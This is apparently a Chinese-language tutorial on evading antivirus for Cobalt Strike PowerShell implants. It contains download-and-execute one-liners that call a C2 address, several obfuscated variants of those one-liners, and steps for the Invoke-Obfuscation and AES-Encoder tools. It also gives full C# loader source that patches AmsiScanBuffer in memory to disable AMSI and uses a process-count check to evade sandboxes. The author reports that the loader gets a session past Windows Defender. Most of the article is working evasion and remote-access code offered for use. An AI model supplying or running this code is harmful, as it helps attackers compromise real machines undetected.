免杀对抗——C2远控篇&PowerShell&有无文件落地&C#参数调用&绕AMSI&ETW&去混淆特征

文章目录

免杀对抗------第一百五十五天

C2远控篇&PowerShell&有无文件落地&C#参数调用&绕AMSI&ETW&去混淆特征

前置知识

PowerShell
  • PowerShell 是微软开发的跨平台命令行外壳和脚本语言,核心革新在于传递.NET对象而非纯文本 ,命令格式为动词-名词(如 Get-Process)。
  • PowerShell cmdlet旨在处理对象,对象是结构化信息,不仅仅是屏幕上出现的字符串,命令输出会始终包含你在需要时可使用的额外信息,如果以前使用过文本处理工具来处理数据,那么在PowerShell中使用时,会发现它们的行为有所不同,在大多数情况下,不需要文本或文本处理工具来提取特定信息,可以使用标准PowerShell对象语法直接访问数据的各部分。
PowerShell两种上线方式
  • 类似于C、C++、Python这些语言,PowerShell也有自己的处理脚本,后缀为.ps1,语法:PowerShell 基本语法 | 菜鸟教程

  • 在安全领域,由于它是微软自己推出的,所以在Windows7及之后的系统中都自带了PowerShell,所以不用考虑环境的问题;然后就是由于其特性,我们可以直接利用它进行有无文件上线CS

  • 在CS中,有两种PowerShell的payload生成方式,一种是生成.ps1脚本,一种是生成powershell命令 ,前者就是有文件落地的上线方式,后者就是无文件落地的上线方式

  • 比如第一种有文件落地,直接上传到目标主机,暂时不考虑免杀的问题,然后直接powershell运行该脚本即可:

  • 直接运行可能会报错,因为PowerShell 执行策略(Execution Policy)默认禁止运行未签名脚本,防止恶意代码执行,所以我们可以用如下命令去绕过这个机制:

powershell 复制代码
powershell -ExecutionPolicy Bypass -File .\payload64.ps1
  • 然后第二种无文件落地的方式就直接运行生成的PowerShell命令即可:
powershell 复制代码
powershell -nop -w hidden -encodedcommand <编码后的PowerShell恶意上线代码>
  • 当然也可以用这个命令的原型:
powershell 复制代码
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.129:8999/shell'))"

# 参数解释
-nop:不加载用户配置文件,加快执行并规避profile中的安全设置
-w hidden:隐藏窗口,执行时用户看不到任何界面( stealth )
-c:执行后续命令字符串
IEX:执行字符串作为PowerShell代码,相当于php中的eval
New-Object Net.WebClient:创建Web客户端对象,用于网络通信
.DownloadString():从URL下载文本内容
  • 然后在CS上生成这个文件,让目标主机去下载上线:

  • 但是由于这种无文件落地的流行,自从Windows10开始,微软就推出了AMSI和ETW来对其进行检测,当然很多杀软也会对powershell的敏感命令进行拦截

C2远控 - PowerShell文件-冷门混淆器&去特征

  • 参考文章

  • 我们先来看PowerShell的有文件落地如何对其进行免杀,其实它就和之前的C、C++、Python等语言都是一样的

  • 我们可以看看生成出来的ps1文件,这里需要注意在PowerShell中32位和64位的写法差异很大,所以我们需要分开来看

  • 直接打开刚才生成的payload64.ps1payload32.ps1文件,windows是自带powershell语言解释器的,直接搜索PowerShell ISE打开即可:

  • 这里我们先看32位的脚本,因为它更简单一点,先从简单的一步步来:

  • 所以我们要免杀的东西就很简单了,就是这一大堆的字符串,比如最简单的就是将这些字符串进行加密混淆+文件分离,代码如下:

powershell 复制代码
Set-StrictMode -Version 2

# 从网站中下载1.txt
$DoIt=((New-object System.Net.Webclient).DownloadString('http://10.81.194.236:8888/1.txt'))
# 对$DoIt进行Base64解码
$basetest=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($DoIt))

If ([IntPtr]::size -eq 8) {
	start-job {param($a) IEX $a} -RunAs32 -Argument $basetest | wait-job | Receive-Job
}
else {
	IEX $basetest
}
  • 我们将原来代码字符串Base64编码之后放到攻击机上,将这个脚本放到目标主机上,过个火绒还是轻轻松松的:
powershell 复制代码
powershell -ExecutionPolicy Bypass -File .\payload32.ps1
  • 但是也就只能过个火绒了,360、DF静态还是能过,但是无法上线,我们还是得换方法,但是这个只能重新修改一个新的代码出来,只要本体不变,不管怎么混淆基本都过不了后面的杀毒软件,所以这个就等我们有能力再回来改吧

  • 我们看看64位的脚本,这个就要灵活很多,因为它并不是直接字符串的形式去加载,那首先我们要更改的就是它的表面特征,比如函数名、变量名等等:

  • 然后就是对它的ShellCode进行一个混淆,比如它这里是先对他进行了Base64解码,再进行XOR异或得到真正的ShellCode,那我们可以换其他的加解密方式,比如我们这里将其改为byte流数据:

powershell 复制代码
> $string = ''
> $s = [Byte[]]$var_code = [System.Convert]::FromBase64String('<Base64_ShellCode>')
> $s |foreach { $string = $string + $_.ToString()+','}
> echo $string
  • 然后将原本的Base64编码的数据改为:
powershell 复制代码
[Byte[]]$nmziedx = [Byte[]](<生成的Byte流数据>)
  • 但是这样肯定是不够的,因为这都是两三年前的手段了,直接杀了,所以我们还需要继续进行免杀,这里小迪用的是网上的混淆工具:danielbohannon/Invoke-Obfuscation: PowerShell Obfuscator
  • 但这个工具已经是八年前的东西了,不过也还能用,多混淆几次应该还是能过一小部分杀软的
  • 直接下载然后用PowerShell运行如下命令:
powershell 复制代码
# 在CMD中启动新的PowerShell会话并绕过策略(临时)
powershell -ExecutionPolicy Bypass -NoExit

# 导入加载模块
Import-Module ./Invoke-Obfuscation.psd1

# 运行工具
Invoke-Obfuscation
  • 我们输入如下命令去使用:
powershell 复制代码
# 设置payload路径
set scriptpath <payload路径>

# 选择token模式
token

# 选择所有选项混淆
all

# 选择执行第一个
1

# 导出到目标文件
out 11.ps1
  • 这就是混淆之后的powershell代码:

  • 但是由于这个工具特征太明显,所以依旧被杀,此时我们有三种方式:要么修改工具特征;要么多次混淆;要么换其他工具

  • 这里小迪又换了一款工具比较冷门的混淆器,但是估计现在也是不太行了,因为一年前停止更新了:Chainski/AES-Encoder: PowerShell Obfuscator. A PowerShell script anti-virus evasion tool

  • 然后使用如下命令使用:

powershell 复制代码
powershell -ExecutionPolicy Bypass -NoExit

Import-Module .\AES-Encoder.ps1

Invoke-AES-Encoder -InFile <payload路径> -OutFile <导出文件名> -Iterations <混淆次数>
  • 这是混淆之后的代码,可以看到特征全部被打乱了:

  • 但是现在这个方法还是过不了卡巴、DF,没啥用,还是要么多混淆几次,要么再换混淆器,但是经过实验,目前存在的混淆器(Invoke-Stealth、psobf等)基本都绕过不了,它只要检测到外联行为就基本寄寄

  • 所以还是得改动代码本身,再结合这些混淆器可能还有点用

C2远控 - PowerShell无文件-分割&AMSI&ETW

powershell 复制代码
# 命令混淆分割
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.129:8089/shell'))"

# 大小写&命令拆分
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('ht'+'tP://19'+'2.168.0.12'+'9:8089/shell'))"

# 大小写&反引号处理
cmd /c echo set-alias -name xz -value IEX;x^z (New-Object "Ne`T.WeB`ClienT").d^o^w^n^l^o^a^d^s^t^r^i^n^g('ht'+'tP://19'+'2.168.0.12'+'9:8089'+'/xd') | p^o^w^e^r^s^h^e^l^l -
  • 不过也没啥用,依旧被拦截:

  • 我们第二种思路就是通过C#代码去加载刚才的命令,比如这个代码:

Csharp 复制代码
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.IO;
using System;
using System.Text;
namespace PSLess
{
 class PSLess
 {
   static void Main(string[] args)
   {
     if(args.Length ==0)
         Environment.Exit(1);
 string temp = Base64Decode(args[0]);
     string s=RunScript(temp);
     Console.WriteLine(s);
     Console.ReadKey();
   }

 public static string Base64Decode(string s)
 {
    return System.Text.Encoding.Default.GetString(System.Convert.FromBase64String(s));
 }


 private static string RunScript(string script)
 {
   //创建powershell运行空间
    Runspace MyRunspace = RunspaceFactory.CreateRunspace();
    //打开运行空间
    MyRunspace.Open();
    //创建一个命名管道
    Pipeline MyPipeline = MyRunspace.CreatePipeline();
    //向管道提供脚本文件
    MyPipeline.Commands.AddScript(script);
    MyPipeline.Commands.Add("Out-String");
    //执行脚本
    Collection<PSObject> outputs = MyPipeline.Invoke();
    //关闭运行空间
    MyRunspace.Close();
   StringBuilder sb = new StringBuilder();
   foreach (PSObject pobject in outputs)
   {
       sb.AppendLine(pobject.ToString());
   }
    return sb.ToString();
  }
 }
}
  • 它的作用就是接收一个Base64编码后的参数,然后解码用PowerShell去运行这个字符串,我们将它编译一下
  • 如果没有安装过.NET环境的需要自己装一下,装好之后找到csc.exe文件和system.management.automation.dll文件完整路径,用如下命令进行编译:
powershell 复制代码
csc.exe /reference:System.Management.Automation.dll /out:ps.exe .\ps.cs
  • 然后将生成出来的ps.exe放到目标主机上,这个肯定是不会被杀的,因为没有任何危险行为
  • 现在我们将之前无文件落地的命令进行base64编码:
powershell 复制代码
IEX ((new-object net.webclient).downloadstring('http://192.168.0.129:8089/ss'))
  • 然后以参数的形式传进去运行:

  • 但是依旧会被检测到,360、卡巴、DF还是过不去,我们还是需要对方法进行改良,然后来到今天的重头戏------绕AMSI

  • 反恶意软件扫描接口(AMSI)打补丁将有助于绕过执行PowerShell脚本(或其他支持AMSI的内容,如JScript)时触发的AV警告,这些脚本被标记为恶意。不要在隐蔽的操作中使用原样,因为它们会被标记出来。混淆,甚至更好的是,通过改变你的脚本来击败基于签名的检测,完全消除对AMSI绕过的需要。

  • 在PowerShell无文件攻击流行了一段时间后,微软在Windows 10中引入了AMSI(Antimalware Scan Interface)接口,经过几年的更新迭代,到目前为止,基本所有比较知名的PowerShell编写的攻击工具都会被Windows Defender拦截,比如PowerSploit,PowerView,cobaltstrike的PowerShell payload等。

  • 这里我们更改上面的代码如下:

csharp 复制代码
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Collections.ObjectModel;
using System.Runtime.InteropServices;
using System.Text;
using System.Collections.Generic;
using System.Diagnostics; 


namespace MyPowershell
{
    class Program
    {
        // 使用DllImport属性导入kernel32.dll中的GetProcAddress函数,用于获取指定模块的函数或变量的地址。
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        // 导入kernel32.dll中的LoadLibrary函数,用于加载指定的动态链接库,并返回库的句柄。
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);

        // 导入kernel32.dll中的VirtualProtect函数,用于改变指定内存区域的保护属性。
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        // 用于将byte数组中的数据复制到指定的内存地址中。
        private static void copy(Byte[] Patch, IntPtr Address)
        {
            Marshal.Copy(Patch, 0, Address, 6);
        }

        // 此方法通过修改AmsiScanBuffer函数来bypass AMSI检测。
        public static void chaching()
        {
            // 加载amsi.dll
            IntPtr Library = LoadLibrary("a" + "m" + "s" + "i" + ".dll");
            // 获取AmsiScanBuffer函数的地址
            IntPtr Address = GetProcAddress(Library, "Amsi" + "Scan" + "Buffer");
            uint p;
            // 修改AmsiScanBuffer函数的内存保护属性
            VirtualProtect(Address, (UIntPtr)5, 0x40, out p);
            // 准备新的函数字节码
            Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
            // 将新的函数字节码复制到AmsiScanBuffer函数的地址
            copy(Patch, Address);
            Console.WriteLine("Patch Applied");
        }

        static void Main(String[] args)
        {
            // 如果命令行参数为空,结束程序运行
            if (args.Length == 0)
                Environment.Exit(1);

            // 判断系统的进程数是否小于40,如果小于40则退出程序(用来反defender的沙箱)
            if (Process.GetProcesses().Length < 40)
            {
                Console.WriteLine("The number of processes in the system is less than 40. Exiting the program.");
                Environment.Exit(0);
            }

            List<string> argsList = new List<string>(args);

            // 如果命令行参数中包含"-s",则执行bypass amsi的操作
            if (argsList.Contains("-s"))
            {
                chaching();
                argsList.Remove("-s"); //从参数数组中移除"-s"
            }

            // 对传入的Base64编码的字符串进行解码
            string temp = Base64Decode(argsList[0]);
            // 运行解码后的PowerShell脚本,并将执行结果输出到控制台
            string s = RunScript(temp);
            Console.WriteLine(s);
            Console.ReadKey();
        }

        // Base64解码函数
        public static string Base64Decode(string s)
        {
            return System.Text.Encoding.Default.GetString(System.Convert.FromBase64String(s));
        }

        // 运行PowerShell脚本并返回执行结果的函数
        private static string RunScript(string script)
        {
            // 创建并打开一个运行空间,用于运行PowerShell命令
            Runspace MyRunspace = RunspaceFactory.CreateRunspace();
            MyRunspace.Open();

            // 在运行空间中创建一个管道,用于存放待执行的PowerShell命令
            Pipeline MyPipeline = MyRunspace.CreatePipeline();
            // 在管道中添加PowerShell命令
            MyPipeline.Commands.AddScript(script);
            // 在管道中添加输出命令,使得PowerShell命令的执行结果能被程序获取
            MyPipeline.Commands.Add("Out-String");

            // 调用管道中的PowerShell命令,并获取执行结果
            Collection<PSObject> outputs = MyPipeline.Invoke();
            // 关闭运行空间
            MyRunspace.Close();

            // 将执行结果转换为字符串
            StringBuilder sb = new StringBuilder();
            foreach (PSObject pobject in outputs)
            {
                sb.AppendLine(pobject.ToString());
            }

            return sb.ToString();
        }
    }
}
  • 这个其实就新增了一个功能,通过修改AmsiScanBuffer函数来bypass AMSI检测,然后小迪说要用VS编译,其实我这里直接用上面那个命令照样能够运行:
powershell 复制代码
.\psamsi.exe -s <Base64编码后的ShellCode>
  • 并且DF能够成功上线执行命令,不过卡巴是直接把这个文件杀掉了,卡巴斯基还是牛逼啊:

  • 但是维持一会还是掉,所以目前这个技术还是能够绕过DF的查杀的,还是有点用的

  • 然后今天的最后一个知识点就是将PowerShell转换为EXE,不过没什么太大的鸟用,这里我也不讲了

相关推荐
习习.y20 分钟前
关于python中的面向对象
开发语言·python
口袋物联21 分钟前
设计模式之建造者模式在 C 语言中的应用(含 Linux 内核实例)
c语言·设计模式·建造者模式
技术净胜21 分钟前
MATLAB 基因表达数据处理与可视化全流程案例
开发语言·matlab
友友马21 分钟前
『Qt』多元素控件
开发语言·qt
hmbbcsm29 分钟前
练习python题目小记(六)
开发语言·python
lxmyzzs34 分钟前
作为一名工程师,何不试试瑞芯微?
笔记·rk3588
4***V2021 小时前
Vue3响应式原理详解
开发语言·javascript·ecmascript
q***98521 小时前
VS Code 中如何运行Java SpringBoot的项目
java·开发语言·spring boot
切糕师学AI1 小时前
位带操作(Bit-Banding)是什么?
c语言·arm·嵌入式开发·cortex-m·位带操作